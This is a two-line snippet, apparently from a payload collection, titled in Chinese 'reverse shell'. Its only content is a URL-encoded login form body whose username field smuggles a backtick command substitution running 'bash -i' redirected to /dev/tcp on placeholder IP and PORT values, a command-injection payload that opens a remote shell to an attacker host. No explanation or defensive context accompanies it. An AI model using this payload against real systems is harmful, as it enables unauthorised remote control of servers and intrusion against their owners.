反弹shell
op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`